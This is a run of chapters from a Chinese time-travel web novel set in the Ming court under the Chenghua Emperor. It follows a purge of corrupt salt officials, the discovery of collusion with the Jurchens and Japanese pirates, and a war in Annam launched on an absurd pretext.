朱见深笑着道,其实心中已经有了章程,确定了该怎么处理仗着父辈亲眷为非作歹,发国家财的纨绔子弟。 既然说‘断人财路如杀人父母’的话语,那父母手足都可以不要了。家要抄,人要杀! 在醉仙楼用过膳食,又去了庙会看了会热闹,赶在天黑宫门落锁之前,一家三口回到了紫禁城。 不提一家三口的温馨日常,只说徐文瑞这边—— 徐文瑞忐忑不安的回到气派的国公府,再不见往日纨绔气息。他父亲,现任徐国公的亲侄儿,正等着他。 “你今日去了哪里?” “回禀父亲,好让父亲知晓,儿子去醉仙楼和友人相聚。”徐文瑞小心翼翼的说。“儿子出去前,母亲是知晓的,就连世子夫人,更是清楚。” “为父只是微末的五品官,但最近朝中局势,为父还是能看的明白的。” 顿了顿,徐大人又语重心长的道。“为父心知肚明,你和好友往日做的那些勾当,多半为了家族。只是如今,风声鹤唳,就连你堂爷爷也是紧张万分。我儿赶紧斩断所有首尾,辽东那边的亏空,哪怕变卖你母亲给你的那些田庄铺面,也要在六个月内填上!否则,一旦被查实,不止为父就连你堂爷爷也保不住你,只怕整个徐国公府都会被牵连问罪!” 徐文瑞顿时冷汗涔涔,再不敢有丝毫侥幸。他跟徐大人保证,自己会尽快处理干净,甚至第二天就开始低价抛售名下的一些古玩字画、城外田产。 甚至还咬牙当掉了几件心爱的宝物,凑集巨款,通过隐秘渠道,火速补足了当初在辽东以‘盐引’承诺却迟迟未纳的粮草数额。 这几乎掏空了徐文瑞多年的积蓄,让他肉痛不已。往日与他交好的那些盐商,此刻也避之唯恐不及,生怕被牵连。 徐文瑞每日提心吊胆,生怕有御史找上门来,往日的鲜衣怒马变成了深居简出,算是体会到了何为雷霆雨露,俱是天恩。 其实他不知道,御史不是不找上门来,而是朱见深将调查交给了东厂和锦衣卫。 东厂、锦衣卫联合办差,所产生的杀伤力不止一加一等于二那么简单。 基于怀恩公公亲自带人探查到的讯息,徐文瑞和他的两位友人,都被立为重点监控人员。 徐文瑞觉得没有御史找上门是安全的,纯粹就是纨绔子弟不懂官僚的运作。 御史主要负责监察官员和监督政府行为。徐文瑞是官员?不,他只是官员的家属 还不够格让御史上门抓人,再说御史只有监察权,没有抓人的权利。有抓捕犯事官员权利的是大理寺。 而锦衣卫,是直接对皇帝负责的军事特务机构,集侍卫、缉查、刑狱三大职能于一身。 被立为重点监控人员,不管是东厂出马还是锦衣卫动手,徐文瑞和他的两位有人,都没有好果子吃。 甚至在旁听锦衣卫指挥使跟朱见深汇报缉查速度的朱佑棱,都分神在想,徐文瑞和徐家会有怎样的下场。 朱见深很明显打算来一出杀鸡儆猴的戏码,威慑盐官以及大小盐商,和靠着‘盐引’以谋私利的功勋官宦子弟。 即便以后时间久了,又会死灰复燃,但起码‘杀鸡儆猴’一番后,吏治会清明很多。 “整顿边备、清理盐政之事刻不容缓。” 朱见深当着朱佑棱的面,将辽东那边盐价飞涨的事情说了出来。自然还有盐贩不远千里出塞,将盐卖给塞外的游牧民族之事。 “盐铁茶三政,从来是朝廷的重中之重。”朱见深仔细将自己当皇帝这几年的心得,扳碎了讲给朱佑棱听,完全没有想过,依着朱佑棱的年龄,能不能听懂。 朱佑棱自然能听懂,并且还有自己的理解。 这是后世思维带来的。虽说由于穿越的缘故,导致朱佑棱有些关于后世的记忆变得模模糊糊,最起码朱佑棱就不记得各种生物武器的科学配比。但智商还是正常的,并且还得到优化,远比一般人聪慧。 朱见深说,朱佑棱听,父子俩都很认真。 “其中‘铁’,从来不允许民间私自开采铁矿,更别说还将私自开采的铁矿偷偷卖往塞外。” 说到这儿时,朱见深很生气,“这样的行为算什么,数宗忘典的卖国贼。当诛三族。” 朱佑棱:“与其诛三族,还不如废物利用。” 朱见深已经收敛怒火,听到这话,顿时挺感兴趣的挑眉。 “哦!”朱见深道:“怎么个废物利用法?” “父皇,请看大明疆域地图。”朱佑棱指着云南布政使司的位置,提议道。“安南郡土地肥沃,据说那里的水稻更是一年三熟,但地广人稀,很却缺乏开荒的奴隶。就将私卖盐铁的商贩抄家,全家流放到安南郡,让他们以工赎罪,为大明粮仓贡献一份力。” 朱见深:“???” 他很是惊奇的看着朱佑棱,不敢相信直接所听到的。 “朕的鹤归,吾儿到底是从哪里学来的扒皮手段?” 朱佑棱:“” “什么是扒皮手段?”朱佑棱不依,还抗议说。“即便儿子所言是扒皮手段,这不是一脉相传?咱们老朱家的老祖宗,哪个不是拥有特殊的扒皮技巧?”—— 作者有话说:更新^_^!!! 还是晚上还有一更! 么么哒! 爱你们哦! [狗头叼玫瑰][狗头叼玫瑰][狗头叼玫瑰] 第36章 第036章 特殊的扒皮技巧?啊这…… 特殊的扒皮技巧? 啊这! 这话说得还挺有趣的! “总之安南郡很适合大搞种植, 正好这几年气候偏冷,两淮地区都出现了干旱的迹象,导致农田收成歉收。正巧安南郡合适。安南郡能成为大明全新的粮仓。” 朱见深若有所思的点头。 “朕怎么觉得你仿佛对安南郡的土族不太待见。” 可不是不待见嘛! 现在的安南郡是后世的越南,属于不怎么友好的邻居。大明疆域不错, 既然设立了安南郡, 那么安南郡境内的一切都属于大明。他记得后世五十六个民族中倒是有土族, 可土族人口稀少, 主要集中在青海一代, 安南郡的土族, 不会是后世的吗喽人吧! 咦, 不想了不想了, 反正现在是安南郡, 我的地盘我做主。全球小冰川时代,中原腹地大部分都处于亚寒带地区,而安南郡则是亚热带、热带地区,小冰川时代的降临,对全球气候都有影响。但亚热带、热带地区的气候要稍微好点儿。 去年山西陕西两地, 收成歉收, 免赋税,今年春小麦刚刚种下不久,就连续好几日没有下雨。 河流虽说未见干枯的迹象, 但如果旱情一直持续下去,整个春夏季节都未见一滴雨的话, 那么河流干枯,井无水的现象便会出现。 而那个时候,人畜都无饮用水,田野里的庄稼自然也就全部枯萎, 又是旱灾的一年。 当然以上只是假设。万一春夏季节没有持续干旱,天公作美下了几场大雨呢。 但不管假设成不成立,朱佑棱都要选择未雨绸缪。就像他打算自己长大掌权后,将塞外那片辽阔的区域全部‘耕’一遍,务必将塞外各民族迁居中原。 现在年龄还小不急做这个但关乎民生的粮食不一样。 朱佑棱后世来的,经历过解放前动荡的人,或多或少都患上了火力不足恐惧症以及生怕饿肚子,死命囤物资综合症。 朱佑棱这两种毛病都有,再加上他本身比较好战,属于武德充沛的那种。 但绝对不会是大明战神第二,老实讲,大明战神的孙子啊,哎,其实不止大臣们害怕再出一位,就连朱佑棱自身也怕自己遗传大明战神的蜜汁自信。 一个连纸上谈兵都不会的笨蛋皇帝,怎么就觉得自己文武双全,是战无不胜攻无不克的绝世战神呢!要知道他三岁满了后就不敢这样做梦了。 “只是父皇的错觉而已。”朱佑棱一本正经的说。“父皇好好想想,儿臣的建议,真的很有用啦!” 朱见深重重点头,倒是说了一句会好好想想。 这是尊重,对孩子的尊重,哪怕朱佑棱目前年幼,朱见深也选择给与尊重。 视线拉到两淮地区这边 盐运司衙门。 如先前那群惴惴不安的纨绔子弟所想一样,佥都御史高明和钦差太监王允中抵达后,就掀起了好腥风血雨。 高明此人还算刚正不阿,做事比较有原则,而王允中,和很多混出头的太监一样,手段都比较阴损。怀恩公公那种,算是掌权太监中比较另类的。 此时高明正端坐堂上,面色沉静。而他的下首,站着两淮的盐官和当地豪绅,个个屏息凝神。 空气中弥漫着令人窒息的沉默,过了一会儿,高明缓缓开口,声音不大却清晰有力。 “本官与王公公奉旨整顿盐法,首在‘清亏欠’。成化三年的盐课,为何至今尚有积存?边关将士饿着肚子等粮草,本该能够提供军饷粮草的‘盐引’,却成了某些人囤积居奇、待价而沽的筹码!” 他目光扫过在场众人,有人低下头,有人额头见汗。大家都没有说话,是不敢,也是找不到话来说。 接着,高明又道。“即日起,所有积存盐引,限期清理,悉数用于边备。再有囤积操纵者,以贻误军机论处!” “这高大人,是否能宽限几日。”有盐官忍不住开口道。“实在是我等不趁手,时间太短,以至处理起来,尚没有头绪。” “尚没有头绪?”高明直接被这句话气笑了。“作为盐官,让你限期清理积存盐引,你跟本宫说尚没有头绪。那你还当什么盐官,还不如摘下乌纱帽,回家种红薯。” “这”这位率先冒头彰显自己愚蠢的盐官,顿时冷汗直流。“属下惶恐。” “不必惶恐!来之前万岁爷已经给与本官和王公公‘先斩后奏’的权利。” 高明将手中茶盏重重放在桌上。 “本宫再说一次,限半个月内清理积存盐引。本宫时间给得充足,如果半月后,盐课还是一塌糊涂,那就别怪本官辣手无情了。” 顿时,所有来的盐官和当地豪绅全都表现出诚惶诚恐的样儿来。有的真有的假。高明懒得去想,只是挥退众人后,稍后就在后堂,和王允中商议。 王允中慢条斯理地品着茶,道:“高大人这把火,烧得旺啊。不过,这淮扬地面的关系,盘根错节,接下来那些‘官豪之家占据灶户盐课’的烂账,怕是更棘手。” 高明正色道:“王公公,皇上要的是边关安定,国库充盈。这国库如何充盈,只能从盐课下手。本官认为,唯有刮骨疗毒,方能根治沉疴。下官已请得圣意,无论涉及谁,都要一查到底。” 王允中点点头,眼中闪过一丝精明:“杂家省得。这‘搭派’之事也得抓紧,上中下三场盐质不同,分配不公最易生事。得让户部的人,拿出公道章程来,免得那些小灶户们又闹将起来。” “本官也是这样想的。” “那好,此事交给高大人负责,而杂家,有其他事情要办。”王允中突然露出阴损至极的冷笑。 “既然觉得杂家乃阉狗,总得让他们好好瞧瞧阉狗能干出什么事情来。” 高明:“” 突然有种很强烈的预感,这王允中王公公,不会是想利用东厂的人,将两淮之地搅成浑水一滩,想要趁机捞鱼吧。 “王公公,不要太过火了,免得之后官员任免又是一大难题。” 如果两淮地区的官场,一下子少了很多人,估计吏部得忙疯。哪怕往年堆积的,等待安排职位的进士、举人不知多少,在两淮地区官场清空一片的情况,安排官员任职,也会手忙脚乱一番。 “吏部清闲太久了,也该好好的动一动了。” 王允中阴恻恻的笑笑,倒没有再说什么,而是去忙碌了。不提王允中会在两淮地区掀起怎样的腥风血雨,总之过了半月,扬州等地官场震动,抄家、罢官者不乏其人。 据说东厂联合地方锦衣卫上门抄家拿人之时,从被抄家者的家中抄出一箱箱拳头大小的东珠,以及金银财宝无数。 抄家所得之物不可估量,大箱大箱的金银财宝被运往京师。朱见深看到后,直接震惊了。 万贞儿同样如此,但她比较矜持,还感叹说:“怪不得都说盐商豪富,瞧瞧这拳头大小的珍珠。” “这是东珠。”朱佑棱瞄了一眼就知晓出处,神色不免凝重了起来。 东珠一般指东北地区(黑龙江、乌苏里江、鸭绿江等流域)的野生淡水珍珠。 如今长白山地区被女真部落所占据,他们常年靠采集人参、鹿茸、雪蛤等长白山特产和边境换取一些基础的物资。 而东珠,大多是精通水性的各部落采珠女冒着严寒入水采集的淡水珍珠,一项作为贡品,少量供应朝廷 那么问题来了,两淮地区的盐商,到底通过什么渠道换取了如此数量庞大的东珠。 他们又是用什么换取的东珠?盐?或者明令禁止的铁矿产。 这些问题细思急恐,按理说不该朱佑棱提出来的。但见朱见深和万贞儿貌似没有想到,还在惊叹盐商的豪富时,到底忍不住道。 “这些不止从盐商家中抄出来的,还有一些盐官。” 朱见深顿时一愣,而万贞儿已经想到了一个可能性。 “鹤归,你的意思是,有人私通鞑子。” 朱佑棱重重点头,又道。“不然这些东珠无法解释。娘亲去年辽东共上贡了多少东珠。” “不足百颗。”万贞儿回答说。“数量应是88颗。当时我还问了内务府的,以为是弄错了,结果还真只有88颗。” “辽东那边,那么宽广的水域,那么多的采珠女,一年的采珠量怎么可能才区区88颗,如今儿子看到王公公抄家送来的金银财宝,才知道少的东珠数去了哪里。” “王允中做得好。”朱见深同样往私通鞑子上面想,还道。“两淮官场肃清得好,朕可以容忍当官者平庸无能,只会守中,却不能容忍私通敌寇。大明边关将士浴血奋战换来的安稳,岂是卖国贼能糟蹋的!”—— 作者有话说:更新o(* ̄︶ ̄*)o 今天更新有点儿迟了,我争取明天一起早更! [狗头叼玫瑰][狗头叼玫瑰][狗头叼玫瑰] 第37章 第037章 朱见深这位皇帝挺爱憎分明…… 朱见深这位皇帝挺爱憎分明的。有些无伤大雅的错误, 朱见深会当做没有看到。 可他的底线,不,应该说任何三观正常,脑子没问题的皇帝, 都绝对不会容忍臣子通敌叛国。一经查实, 绝对抄家诛族。 如今朱见深的怒火, 已经高燃, 急需一个发泄渠道。恰在这时, 安南郡那边传来紧急军情, 说是当地土著联合红毛藩子意图造反, 杀了几个卫所的军户。 哦!另外当地卫所的千户, 还同时写了一份密折, 阐述了红毛藩子怎么怎么无耻,调戏八旬老奶,被几名老军户看到,出于维护八旬老奶名声的缘故,和几名红毛藩子起了争执, 之后双方各有伤亡, 其中大明这边死了几个已经入土的军户。 朱见深收到八百里加急军情的时候,那是相当的愤怒,骂安南自从归附大明, 设安南郡后就一直贼心不死,他定要立刻点齐兵马, 平地叛乱。 紧接着看到安南郡卫所千户所写密折,整个人就很放空,呈现迷茫的神色。 “贞姐”朱见深向万贞儿求救,“朕好像不认识字了。” 哪里是不认识字, 只是不敢相信而已。还以为是红毛藩子藐视大明故意挑起事端呢,结果的确是故意挑起事端,但貌似是他们这边挑起的 万贞儿接过密折在看,朱佑棱凑了过来,看得似懂非懂,连猜带蒙搞懂了大部分意思。 “简直欺人太甚。”朱佑棱挺着小肚腩,超级严肃的说。“红毛藩子欺人太甚,难道不知道在我大明,名声大于天?八旬老奶,人瑞也,居然也能出手调戏,牲口啊。” 朱见深:“” 万贞儿:“” “贞姐,朕怀疑鹤归他和常人有些许不同。” “哪里不同了?”万贞儿无奈的说。“我倒觉得鹤归小小年龄,就懂得说话的艺术,这还没被那些之乎者也的老学究教导读书呢,要是教导了” 朱见深:“但是吧,朕” 瞄到朱佑棱双手背在后面,一副自己没错,自己就是真理的模样儿。 朱见深突然就意识到了朱佑棱的奇葩处,是信了密折内容,又不是密折内容。 说不得朱佑棱心中还对搞出‘八旬老奶名节’问题的那位百户长,有共同的语言。 就平乱的由头找得好找得妙,朱见深是万万没想到地方卫所里的军户,居然还有这样的人才。 “剿之灭之!”朱见深转而道。“通知布政司,近期会有一批人被流放至安南郡,朕要让他们为朕开垦出万顷良田,种植一年三熟的水稻,好供应中原。” 怀恩公公立即领命,还道。“奴婢这就拟旨下诏命安南布政司,让他们尽量平叛,剿灭不安定因素,让安南郡尽快变为万里粮庄。” 很显然,朱佑棱原本的提议,朱见深是放在心上了的。 朱佑棱觉得安南土地肥沃,属热带区域,迎接小冰川时代的气候威胁要小很多,合理利用起来,定能成为大明的一大粮仓。 正好安南郡卫所的军户抓住机会,和当地土著以及红毛藩子打起来了。 不管理由有多奇葩,最起码师出有名,并且相信安南郡那边很快就能平定叛乱,将安南郡正式纳入掌控。 正巧两淮地区,王允中利用太监们特有的阴损毒辣手段,杀得腥风血雨,每天都会有好几个盐官家被抄,盐商更是直接下狱,罪名都能统一,私藏铁矿私造兵器,有通鞑子卖国之疑。 王允中抵达两淮一月,共抄家三365人。其中200人为盐官,160人为盐商。 以上首恶诛,从者流放。又有5户人家被确认为‘祖传细作’,不止和塞外的鞑子有联系,更与那为祸沿海一带的倭寇有勾结,时常为入侵抢劫的倭寇提供消息,以便倭寇们在大明官兵赶来之前顺利逃走。 大明建国以来,沿海一带就长期受到倭寇的侵扰。大明政府时不时会派兵剿杀倭寇,但倭寇十分狡猾,又有奸细出卖情报,导致剿杀十剿九空。 王允中抵达两淮之地时,听闻倭寇次次反杀大明官兵的消息,就猜到必有奸细通风报信,才让倭寇每每顺利逃脱,非大明官兵实力不济。 正好趁着整顿盐课之事,将细作之事调查了个清清楚楚。那5家祖传细作,全家老小无一例外,都被判了斩立决。一时间菜市口鲜血堆积,每天都有犯人被押解到此处决。 稀奇的是,他们居然还敢喊冤,说阉狗冤枉他们只为谋夺他们的家产。 王允中得知后凉凉一笑,直接命人将他们的罪名广而告之。本就该遗臭万年的货色,凭什么要为他们隐瞒他们所犯下的罪。 必须广而告之,不然还有蠢货为他们喊冤呢! “杂家此次前来,是奉了万岁爷的命,在高大人整顿盐课的时候,好好整顿军纪。万岁爷对各地卫所吃空饷的毛病深恶痛绝,临走之前特意吩咐杂家,让杂家好好配合高大人,如今两淮地区基本肃清,想必盐课会清明一段时日。杂家不日将回京复命,不知高大人,是留在两淮,确定新走马上任的盐官,还是和杂家一起回京复命。” “吏部安排的人,大概半月后会抵达。”高明态度挺好的说。“本官大概要等一月后再回京复命。” 王允中了然的点头。“既如此,高大人当为杂家饯行。” “以茶代酒,即为饯行。” “也行。” 很快,‘饯行’宴会结束没几日,王允中就带着东厂的人回京复命。高明留下,却并非一人,或者说跟着前来的锦衣卫副指挥使,跟着留下来保护高明的安全,确保不会有恶徒铤而走险杀钦差大臣以报抄家之仇。 王允中浩浩荡荡的离开,除了随行的东厂好手外,还有一箱箱的金银珠宝。另外婴儿拳头大小的东珠,以及同样婴儿拳头大小的南洋贝珠,更是粗暴的用箱子满满当当的装了10箱。 “这些东西除却三分之一,剩余的都要入万岁爷的私库。”王允中道。“杂家不管你们抄家过程中捡了多少油水,记住了,大半东西都得进万岁爷的私库,或者万皇贵妃娘娘的私库。” 王允中又道。“送到万皇贵妃娘娘手中,其实更能讨万岁爷的欢心,只是这讨好,不得做得过于明显。” 跟着出来‘赚外快’的副手听得连连点头。 与世袭制的锦衣卫不同,东厂的厂卫不止是太监,更多来自江湖。大多武艺高强,且不是好人,各有各的毛病缺点。 比如贪财比如好色,再比如嗜杀等等 怀恩公公乃厂督,王允中则算副厂督,名义上要听从怀恩公公的吩咐,实际上很多时候,王允中同样有决策权。 东厂权势滔天,很多时候官员都得避让。背地里敢骂阉奴走狗,但明面却是万万不敢。甚至有的人,为了仕途通畅甘愿给他们口中的阉奴当狗。 王允中现在已经有了一个绝妙的想法,那就是伺候好万皇贵妃,让万皇贵妃能够将他分去伺候太子殿下,成为太子殿下最独一无二的总管太监。 “还有三日便可抵达京城,大家小心戒备。”王允中突兀冷笑,“杂家可是知晓,有不少的绿林土匪盯着想要打劫呢。” “王公公放心,还没有人敢从咱们手中打劫呢。” 其中一位彪形大汉瓮声瓮气的说话,根本就不把从他们带着大量金银财宝返京开始,就盯上的绿林土匪放在眼中。 也是正常的,能够出来办差的厂卫一般都有不俗的武力,自然牛逼轰轰,不会正眼看打家劫舍过日子的绿林人士。 当然,该有的戒备还是有的。王允中提醒过后,接下来的路程,大家都打起了十二分的精神,哪怕宿在驿站,也会分出人手看管抄家所得。 就这样,连续两日风平浪静,等进入一条狭窄的官道之时,有了动静。 上百号绿林人士埋伏在此,直接将后路堵了,然后嗷嗷拎着大砍刀就冲向东厂的厂卫们。 没曾想,厂卫们丝毫不慌,直接拿起弓弩,就开始射箭,百号绿林人士还未冲到面前,就损失过半。 之后的战斗,更是毫无悬念,收了弓弩的厂卫们以极快的速度,将剩余的绿林人士就地宰杀。 没有想着留活口调查是哪方人马,就这乌合之众,不过是太小看东厂,以至于直接全军覆没,而东厂丝毫损伤都没有。 “继续走。” 王允中公公淡淡的下命,队伍继续前行,很快通过狭长的官道,进入开阔地段。 一日后,王允中顺利抵达京师,并第一时间回宫复命。 “连南珠(南洋贝珠)都有?”万皇贵妃看着那一箱箱颜色各异,甚至紫色、金色、粉色、黑色都有的珍珠,露出若有所思的神色。 “深郎,看来他们挺喜欢南下南洋做生意。”万贞儿不屑冷哼,“顺便向倭寇传递消息,简直不要太方便。” 朱佑棱:“倭寇?” “鹤归还小,自是不知晓那倭国的贼寇,最喜欢骚扰沿海一带渔民。” 万贞儿解释道,顺便给朱佑棱说起成化三年,倭寇开始频繁出现的事儿。 历史记载,成化三年的时候,倭国进入战国时代,足利幕府衰弱,勘合贸易制度被破坏,导致倭寇侵扰加剧。甚至一直持续到嘉靖年间。 而从洪武年间开始计算,洪武年间到永乐年间倭患94次,并且成化三年,广海卫城被倭寇攻破,据城46日,造成大量伤亡—— 作者有话说:更新o(* ̄︶ ̄*)o 去恰饭! 然后晚上还有一更哦! 第38章 第038章 去年的时候,其实…… 去年的时候, 其实并没有收到有关广海卫城被倭寇袭击并攻破的消息。 或许被隐瞒了,但这几率不大。各地都有锦衣卫所,负责收集当地情报,他们之中肯定又被收买, 稍微少许异常隐瞒不报者。但卫城被倭寇袭击并攻破这么大的事件, 还是不敢隐瞒不报的。 如今还是大明中期, 吏治方面还算清明, 并没有腐败到满朝少见忠臣的地步。万万不敢将贼寇袭击攻破城池的消息隐瞒下来。 既然去年没有收到消息, 那么只能够证实倭寇袭击广海或沿海一带估计还会发生, 只是时间延后了。 怎么说呢, 想起这事情后, 朱佑棱是极度不爽的。不是对自己, 也不是对卫所的不堪抵抗,而是对倭寇的厌恶。 后世来的人,只要了解过那段经历,都会有愤青情节。如有机会,必炮轰倭国, 九州岛沉。 “去年年景虽不好, 灾难频发,但想来倭国内乱,无暇来骚扰沿海城镇。” 万贞儿款款而谈, “不过,我想, 今年开始,倭寇必然动洗劫大明沿海城镇,弥补内乱所造成的损失。” 就和游牧民族自古以来有南下打草谷的习俗。每逢秋燥草枯季节,牛羊无食大面积死亡的时候, 游牧民族就集中部族青壮力量,南下攻打边关城镇。 这种打草谷的习俗,除了掠夺资源补充部族外,也有消耗部族自身人数的原因在,总之越是气候诡异变化无常,塞外的游牧民族就越频繁南下骚扰边关。 和倭国内乱,便派倭寇前来大明找补一个道理。 倭寇战斗力并不一定能比得上塞外的游牧民族,他们能来去自如,倚仗的海洋。海洋广阔无际,一有不对坐上船只撤退,大海茫茫,一叶孤舟如露珠入水如何找怎么找? 除非直接带兵杀向倭国,灭掉倭国也就绝了倭寇的威胁。 “所以深郎,按照我的推断,沿海一带卫所的布防,得进一步优化。”万贞儿又道。 “万幸今年抄了不少人的家,所得银两可从私库单独拨出用以升级优化卫所布防。” 朱见深点头,显然及其赞同万贞儿的话。万贞儿不止是他的心爱之人,更是最知他心思的贤内助。 她的每一句话,都说进了朱见深的心坎里。 “另外水稻,一年三熟的水稻,我好像有点儿印象。”万贞儿又说。“是一本有关农学的书里看到的,好像叫什么占婆(占城)稻。其实早在宋朝的时候,就已经从那时候的占婆国(今越南,现安南郡)引进了两淮地区耕种。” “如今两淮地区种植的水稻,少部分乃占婆稻,究其原因,大概是占婆稻的口感不太好。” “贞姐吃过?” “吃过啊。”万贞儿笑着说。“其实深郎也吃过。” 顿了顿,万贞儿补充道。“那是小时候的事儿了。有一段时间,内务府送来的份例,大米皆是陈年的占婆稻,我记得当时深郎还说大米好似发霉了,让我别吃。” 听万贞儿这么一说,朱见深也是想了起来。那是他5岁的时候发生的事情,当时周太后不管他,皇祖母无暇顾及他,只剩下万贞儿护着,为了他的一日三餐奔波。 那时候辛苦得来的大米是陈米,熬煮出来的粥更是带着一股霉味儿。 或许是那大米真的受潮过,朱见深当时一吃就吐了出来,连忙让万贞儿也不要吃。可结果,他吃的是点心,那碗带着霉味儿的粥,被万贞儿吃了。 万贞儿为了他,真的吃了不少苦头。想起往事,朱见深顿时眼泪汪汪,宛如狗勾一般瞅着万贞儿,星眸写满感动。 万贞儿嫣然一笑,“为深郎,我心甘情愿。” 朱佑棱转而开始研究大明疆域图,着重看与大明接壤的周边国家。身毒国(印度),琉球王国,暹罗国(泰国),真腊 国(柬埔寨),马六甲国(马来西亚) 琉球王国这个位置,好像是在后世小日子的冲绳,还有倭国,朝鲜王朝 鞑靼鞑子,吐鲁番汗国 哦,对对对!现在新疆那边还不属于大明,什么时候找机会问问小亲爹,是对吐鲁番的葡萄感兴趣,还是对吐鲁番的美人儿感兴趣。 一般来讲,从汉朝开始就征服西域,肯定不是为了那几颗葡萄,而是 但小亲爹他不一样,在有绝对真爱的情况下,几颗葡萄或许比美人儿来得更加有吸引力。 而他就不一样了,他两样都要,要美人儿喂他吃葡萄。 朱佑棱用肥嘟嘟的小胖手支撑着小肥脸,看地图看得那叫一个认真。 朱见深和万贞儿日常腻歪完,目光一致看向了朱佑棱。 朱佑棱:“???娘亲怎么了?” “没什么,只是听你念叨什么葡萄的,可是想吃葡萄?不过这时节新鲜的葡萄还没有成熟,只有葡萄干。” 朱佑棱眨眨眼睛,倒是没有拒绝美人娘亲的提议。之后朱见深还算正经的继续处理政务。 就那个‘强占八旬老奶便宜’的‘恶劣’行为,朱见深得知后,义愤填膺,强烈指责安南境内的土著人不顾人伦的偏帮红毛藩子,责令安南布政司,尽快平定叛乱,好迁民开垦建造皇家农场。 这项决策,没有受到丝毫阻碍,主要内阁大臣们得知后都挺正经了,这安南郡布政司以及卫所的那位千户长,真是厉害的角色啊。 这样离谱,不可思议的理由都能找出来,关键是皇帝还信了。 商络:“谁说万岁爷信了?” 万安:“那不信怎么就下了那样的旨意?” 李贤:“师出有名。” “万岁爷有心占了安南郡的土地呸,老夫说的什么话。”万安赶紧改口,又道。“安南郡听说土地肥沃,地里随便种什么,都有很不错的收成,去年山西陕西两地干旱,调拨了不少两淮出产的粮食赈灾,今年两淮哎,我都不知道该怎么跟万岁爷说,王公公在两淮地区杀戮过重,导致这几天飞速起了留言,说是两淮地区接连暴雨,都是被杀之人冤魂哭泣。” “你这话别在老夫面前说。”商辂显得有点儿不耐烦的道。“倒卖盐引,私通鞑子倭寇,哪一项罪名不该杀头诛族?万岁爷杀得好,铁腕镇压,才能肃清盐课。” 万安有些尴尬,更显说什么时,李贤又道。“商大人说得极是,卖国者杀无赦,万岁爷只诛首恶,余者皆流放三千里到安南郡,已经算是仁慈,现在老夫在想,该怎么说服万岁爷,让某担任太子太傅,教导太子殿下读书认字。” 商辂顿时收敛了脸上的高兴。“老夫才是太子太傅。” “太子太傅,又不是只能有一人。”李贤笑着道。“自然得多多益善。” 商辂忍了忍,最终还是拂袖而去,留下宛如像笑开花朵儿的李贤,以及打算攀亲戚混个太子太师当当的万安,面面相觑。 “老商这脾气”李贤摇头,随即和万安告辞,离开修文阁。一位首辅,一位阁臣都走了,同样身为阁臣的万安也走了。不过走之前,万安去了安喜宫,以侄儿的身份,向万贞儿请安。 万安和万贞儿没有任何血缘关系,纯粹就是两人都姓万,而万安善钻营,以侄儿相称,对万贞儿极其奉承。 万贞儿心知万安相较其他人,属于没多大本事,只会阿谀奉承。不过想着朝廷之上还得有自己人,干脆就认下这侄儿,让他的仕途走得及其顺畅。 朱佑棱对万安的印象也挺好,主要万安太会说话了,连他这个三岁豆丁都能变着花样儿夸奖,不印象好那才奇了怪。 不过朱佑棱并没有过多的关注万安,因为他正式开始启蒙,每天李贤和商辂分别教导,及其严厉,一点都没有放纵的意思。 索性朱佑棱心大,再者心知肚明李贤和商辂严格点,都是对他好。朱佑棱只能加油努力,争取让自己多认识几个字,好摆脱文盲的名头。 时间就在朱佑棱开始读书认字中开始流逝,成化四年七月的时候,安南郡那边传来捷报,安南郡一直超级具有反叛之心的土著人几乎被杀戮殆尽,另外那几个‘挑起事端’的红毛藩子,也查清楚了是哪个国家的人,荷兰和葡萄牙。 对此朱佑棱知道后,没有感觉到奇怪,荷兰和葡萄牙,在大明时期属于比较强大的西方国家,他们去安南郡,本来是打算经由安南郡前往中原腹地传教,结果无缘无故就被扣上了‘强迫八旬老奶’的罪名。 几个红毛藩子抗议,不想安南郡守以及卫所谢千户,根本就不将他们的抗议放在眼里。 谢千户更是直接说:“巴不得他们都来,这样更有理由让万岁爷挥兵西征。”—— 作者有话说:更新o(* ̄︶ ̄*)o 去睡觉觉了,祝大家[狗头叼玫瑰]心想事成,拥有好身材! 第39章 第039章 安南郡的情况挺复杂的。像…… 安南郡的情况挺复杂的。像吐鲁番汗国, 唐朝已然归属,安南郡归附时间要比吐鲁番汗国更早。 只是安史之乱后,原本统治统治新疆地区的东察合台汗国因内乱逐渐瓦解,分裂为多个割据政权, 其中主要包括吐鲁番汗国和叶尔羌汗国。 吐鲁番汗国与叶尔羌汗国处于长期争斗中。吐鲁番汗国位于新疆东部, 又与明朝长期争夺哈密卫, 多次劫掠河西走廊。 安南郡呢, 从秦汉时期开始确切的说, 秦始皇时期就平定岭南, 设立桂林、南海、象郡三郡, 其中象郡的范围已包括越南北部部分地区。 到唐朝时, 设安南都护府, 而到了唐朝末年,中央政权衰微,安南地方势力开始崛起。北宋时期,太|祖赵匡胤在无力南顾的情况下,于公元973年册封丁部领为“交趾郡王”。 而到了明朝, 永乐大帝武德充沛, 拒不承认所谓的交趾郡王,只认什么安南郡王,并且设立安南布政司建卫所, 以护卫安南郡的安全。 谢千户搞出‘调戏八旬老奶’的事故,就是想要将安南郡彻底纳入掌控之中。所谓叛乱的土著人, 其实就是原交趾郡王的人手。 究其原因,还是因为现任交趾郡王暗中与红毛藩子勾勾搭搭。按照谢千户等人的理解就是,大明都允许在大明的‘军事基地’建国了,居然还敢不听爸爸的话, 和外人勾勾搭搭,不教训龟儿子教训谁。 总之对安南郡用兵之后,多半选择修身养性一段时间,再说对吐鲁番汗国动兵的事宜。 当然即使大明这边不主动,一直以来垂涎河西走廊,企图霸占丝绸之路重要枢纽之一哈密卫的吐鲁番汗国,也会伺机骚扰大明。总归一句话,不管大明先跟谁打架,吐鲁番汗国这边,都会伺机出兵企图火中取栗。 好在谢千户虽说思维方面有些迥于常人,但还算骁勇善战,安南郡的战事既然是他挑起的,自然有能力,将战事控制在能轻松解决的范围内。 很快,安南郡的反叛势力被清除,安南布政司配合军户,开始大面积开垦农田,正当人手缺乏的时候,第一批被抄家,流放至闽南、交趾一带的犯人被押解来了。 流放算是挺残酷的刑法。被判流放,东南西北四个方向都有可能是目的地。 一旦被判流放,是全家老小,不分年龄性别都会一起被流放。在流放的过程中,缺衣少食,犯人人数折损,都是很正常的事情。 一般流放人数折损率,允许在三分之一的范围。如果中途折损人口少的,对于押解的差役来说,其实也没有什么实质性的惩罚,不过是领的响银相对少很多。 因此如果不差钱的话,押解流放犯人的差役,大多不是很在意犯人的折损。 第一批流放人数共计378人,抵达时还剩296人。折损不过百人,却也算折损了不少人。 负责接收的官兵,询问负责押送流放犯人的差役原因。 